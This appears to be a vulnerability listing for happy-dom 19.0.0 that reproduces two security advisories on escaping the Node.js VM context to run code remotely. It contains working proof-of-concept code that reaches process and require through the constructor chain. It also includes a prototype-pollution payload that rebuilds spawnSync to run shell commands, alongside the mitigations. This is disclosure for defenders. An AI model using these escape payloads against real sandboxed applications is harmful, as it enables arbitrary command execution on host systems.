All the vulnerabilities related to the version 19.0.0 of the package
Happy DOM: VM Context Escape can lead to Remote Code Execution
Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.
A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.
It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.
Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
const require = process.mainModule.require;
console.log('Files:', require('fs').readdirSync('.').slice(0,3));
</script>
`);
const { Window } = require('happy-dom');
const window = new Window({ console });
window.document.write(`
<script>
const process = this.constructor.constructor('return process')();
console.log('PID:', process.pid);
</script>
`);
const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;
Any test suite using Happy-DOM with untrusted content may be at risk
eval() and Function() can still be used within the Happy DOM VM without any known security riskAll classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.
Running Node with the "--disallow-code-generation-from-strings" flag protects against this.
happy-dom's --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().
import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";}
this.constructor.constructor.__proto__.__proto__.toString = f;
this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
// Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));
Arbitrary code execution via breaking out of the Node.js' vm isolation.
Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.
Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.